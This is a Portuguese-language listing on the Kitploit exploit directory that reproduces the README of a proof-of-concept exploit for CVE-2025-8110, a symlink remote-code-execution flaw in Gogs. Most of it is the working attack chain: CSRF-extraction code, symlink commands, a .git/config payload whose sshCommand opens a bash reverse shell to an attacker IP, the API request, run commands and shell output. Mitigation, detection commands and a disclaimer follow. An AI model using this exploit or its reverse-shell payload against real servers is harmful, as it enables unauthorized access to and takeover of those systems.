Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-8110 — Exploit PoC para CVE-2025-8110 | Kitploit
Ferramentas/GitHubGitHub/joaquinrrr/cve-2025-8110
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoFerramenta de Acesso Remoto
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

Exploit PoC para CVE-2025-8110

Ver Repositório
5há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-8110

Execução Remota de Código via Link Simbólico em Repositórios Gogs

Feito por oguiii


Índice

  • Visão Geral
  • Funcionalidades
  • Requisitos
  • Instalação
  • Uso
  • Fluxo de Exploração
  • Análise Técnica
  • Demonstração de Prova de Conceito
  • Versões Afetadas
  • Mitigação
  • Detecção
  • Aviso Legal
  • Licença

Visão Geral

O CVE-2025-8110 é uma vulnerabilidade crítica no Gogs que permite que atacantes autenticados executem código remotamente através da manipulação de links simbólicos em repositórios. Esta prova de conceito demonstra a cadeia de exploração completa, desde a autenticação até a obtenção de um shell reverso.

A vulnerabilidade existe porque o Gogs segue links simbólicos ao manipular arquivos de repositório através de sua API, permitindo que um atacante leia e modifique arquivos sensíveis como .git/config. Ao injetar uma diretiva sshCommand maliciosa, comandos arbitrários do sistema podem ser executados com os privilégios da conta de serviço do Gogs.

Pontuação CVSS: 7.2 (Alta)
Vetor de Ataque: Rede
Autenticação Necessária: Sim
Interação do Usuário: Nenhuma
Impacto: Comprometimento completo do sistema


Funcionalidades

  • Extração automatizada de token CSRF com múltiplos métodos alternativos
  • Gerenciamento de sessão e manipulação de autenticação
  • Criação automática de repositórios com parâmetros configuráveis
  • Fluxo de exploração baseado em links simbólicos
  • Geração de payload para shell reverso
  • Suporte a proxy para depuração e análise
  • Log detalhado e tratamento de erros
  • Saída colorida no console para melhor legibilidade
  • Modo verboso para solução de problemas

Requisitos

Requisitos de Sistema

  • Python 3.6 ou superior
  • Git instalado e acessível no PATH
  • Acesso de rede à instância Gogs alvo

Dependências Python

root@kitploit:~
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

Instalação

Clonar e Configurar

root@kitploit:~
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

Estrutura do Projeto

root@kitploit:~
CVE-2025-8110/
├── CVE-2025-8110.py    # Script principal do exploit
├── requirements.txt    # Dependências Python
└── README.md          # Documentação

Uso

Opções de Linha de Comando

Uso Básico

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

Com Proxy para Depuração

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

Modo Verboso para Solução de Problemas

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

Fluxo de Exploração

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                    Cadeia de Exploração CVE-2025-8110                       │
└─────────────────────────────────────────────────────────────────────────────┘

Passo 1: Autenticação
├── Navegar para /user/login
├── Extrair token CSRF da página de login
├── Enviar credenciais com token CSRF
└── Estabelecer sessão autenticada

Passo 2: Geração de Token de Aplicação
├── Navegar para /user/settings/applications
├── Extrair token CSRF da página de configurações
├── Gerar novo token de aplicação
└── Extrair token da resposta

Passo 3: Criação de Repositório Malicioso
├── Criar repositório via API com auto_init
├── Gerar nome de repositório aleatório
└── Obter URL do repositório

Passo 4: Upload do Link Simbólico
├── Clonar repositório localmente
├── Criar link simbólico apontando para .git/config
├── Adicionar, commitar e enviar alterações
└── Verificar upload bem-sucedido

Passo 5: Exploração RCE
├── Criar .git/config malicioso com sshCommand
├── Codificar conteúdo da configuração em Base64
├── Enviar via API para o alvo do link simbólico
└── Disparar execução do comando

Passo 6: Shell Reverso
├── Conexão estabelecida com o host atacante
├── Acesso interativo ao shell
└── Execução de comandos no alvo

Análise Técnica

Causa Raiz da Vulnerabilidade

O Gogs falha em sanitizar adequadamente a travessia de links simbólicos ao lidar com arquivos de repositório através de sua API. Quando um arquivo é acessado via endpoint da API, o Gogs segue links simbólicos sem validação, permitindo acesso a arquivos sensíveis fora do diretório do repositório.

Detalhes do Vetor de Ataque

  1. Criação do Link Simbólico

    root@kitploit:~
    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "Add symlink"
    git push origin master
    
  2. Configuração Maliciosa

    root@kitploit:~
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. Exploração da API

    root@kitploit:~
    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "Exploit CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

Análise de Código

Extração de Token CSRF

root@kitploit:~
def extract_csrf(html_text):
    """Parse CSRF token from hidden input with multiple fallback methods."""
    # Method 1: Input with name _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 2: Input with name csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 3: Meta tag with CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 4: Regex pattern in script tags
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # Method 5: Regex for hidden input
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("CSRF token not found in form response")

Injeção de Configuração Maliciosa

root@kitploit:~
git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

Demonstração de Prova de Conceito

Configuração do Ataque

root@kitploit:~
# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

Saída de Exploração Bem-Sucedida

root@kitploit:~
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin

[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully

[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b

[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully

[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!

[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)

Conexão do Shell Reverso

root@kitploit:~
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Versões Afetadas

Versões Vulneráveis

  • Versões do Gogs anteriores a 0.12.6
  • Todas as versões com suporte a links simbólicos habilitado (configuração padrão)

Verificação de Versão

Para verificar sua versão do Gogs:

root@kitploit:~
# Access the Gogs web interface and check footer
# Or use the API
curl https://gogs.example.com/api/v1/version

Mitigação

Ações Imediatas

  1. Atualizar o Gogs

    root@kitploit:~
    # Backup existing installation
    cp -r /home/gogs/gogs /home/gogs/gogs.backup
    
    # Download and install latest version
    wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
    unzip gogs_latest_linux_amd64.zip
    cd gogs
    ./gogs web
    
  2. Desabilitar Suporte a Links Simbólicos

    root@kitploit:~
    # In custom/conf/app.ini
    [repository]
    DISABLE_SYMLINKS = true
    
  3. Implementar Validação de Entrada

    • Sanitizar caminhos de arquivos antes do processamento
    • Impedir travessia de links simbólicos
    • Validar tipos e conteúdo de arquivos

Medidas de Segurança de Longo Prazo

  • Implementar princípio do menor privilégio para a conta de serviço do Gogs
  • Realizar auditorias de segurança e testes de penetração regularmente
  • Segmentação de rede para limitar a exposição do Gogs
  • Implementar regras de Firewall de Aplicação Web (WAF)
  • Habilitar logs abrangentes e monitoramento
  • Realizar backups regulares da configuração e repositórios do Gogs

Regras de Firewall

root@kitploit:~
# Limit access to Gogs API
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

Detecção

Indicadores de Atividade Suspeita

  1. Atividade do Repositório

    • Criação de repositórios com links simbólicos
    • Múltiplos repositórios criados em curto período
    • Nomes de repositórios incomuns (strings hexadecimais aleatórias)
  2. Atividade da API

    • Requisições PUT para /api/v1/repos/*/contents/*
    • Modificação de .git/config via API
    • Alta frequência de requisições à API de uma única sessão
  3. Indicadores do Sistema

    • Processos inesperados gerados pelo usuário Gogs
    • Conexões de rede de saída do servidor Gogs
    • Padrões incomuns de acesso ao sistema de arquivos

Comandos de Análise de Logs

root@kitploit:~
# Check Gogs access logs for API exploitation
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT

# Monitor for symlink creation in repositories
find /home/gogs/gogs-repositories -type l

# Check for suspicious git config modifications
grep -r "sshCommand" /home/gogs/gogs-repositories/

# Monitor for outbound connections
ss -tunp | grep gogs

Integração com SIEM

root@kitploit:~
{
  "event_type": "gogs_api_access",
  "severity": "high",
  "indicators": [
    "PUT /api/v1/repos/*/contents/*",
    "sshCommand in git config",
    "random hex repository names"
  ],
  "recommended_actions": [
    "Review repository creation logs",
    "Check for symlink files",
    "Verify API access patterns"
  ]
}

Divulgação Responsável

Esta vulnerabilidade foi descoberta e divulgada de forma responsável à equipe de desenvolvimento do Gogs. O fornecedor lançou uma correção na versão 0.12.6.

Cronograma

  • Descoberta: Maio de 2025
  • Divulgação Responsável: Junho de 2025
  • Lançamento da Correção: Junho de 2025
  • Divulgação Pública: Junho de 2025

Recursos Adicionais

  • Comunicados de Segurança Oficiais do Gogs
  • CWE-61: Seguimento de Link Simbólico UNIX
  • Guia de Testes OWASP - Path Traversal
  • Documentação de hooks do Git
  • Documentação da API do Gogs

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado. Os usuários devem:

  1. Obter permissão explícita por escrito antes de testar qualquer sistema
  2. Cumprir todas as leis e regulamentos aplicáveis
  3. Usar esta ferramenta de forma responsável e ética
  4. Não usar esta ferramenta para fins maliciosos ou não autorizados

O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por esta ferramenta.


Licença

Licença MIT

Copyright (c) 2025 oguiii

A permissão é concedida, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrição, incluindo, sem limitação, os direitos de usar, copiar, modificar, fundir, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e permitir que as pessoas a quem o Software é fornecido o façam, sujeitas às seguintes condições:

O aviso de copyright acima e este aviso de permissão devem ser incluídos em todas as cópias ou partes substanciais do Software.

O SOFTWARE É FORNECIDO "COMO ESTÁ", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIALIZAÇÃO, ADEQUAÇÃO A UM PROPÓSITO ESPECÍFICO E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU TITULARES DE DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER REIVINDICAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.


Contato

  • GitHub: github.com/oguiii
  • Projeto: Exploit CVE-2025-8110

Agradecimentos

  • Descoberta Original: zAbuQasem
  • Publicação do CVE: MITRE Corporation
  • Comunidade: Pesquisadores de segurança e testadores de penetração que validaram a vulnerabilidade

Changelog

Versão 1.0.0 (2025-06-25)

  • Lançamento inicial
  • Implementação da cadeia de exploração completa
  • Extração de token CSRF com métodos alternativos
  • Criação automática de repositórios e upload de link simbólico
  • Geração de payload para shell reverso
  • Suporte a proxy para depuração
  • Documentação abrangente

Feito com dedicação por oguiii

Baixar ferramenta
OpçãoDescriçãoObrigatório
-u, --urlURL base do Gogs (ex.: https://gogs.example.com)Sim
-lh, --hostEndereço IP do atacante para shell reversoSim
-lp, --portPorta do atacante para shell reversoSim
-U, --usernameNome de usuário do GogsSim
-P, --passwordSenha do GogsSim
-x, --proxyHabilitar proxy (localhost:8080)Não
-v, --verboseHabilitar saída verbosaNão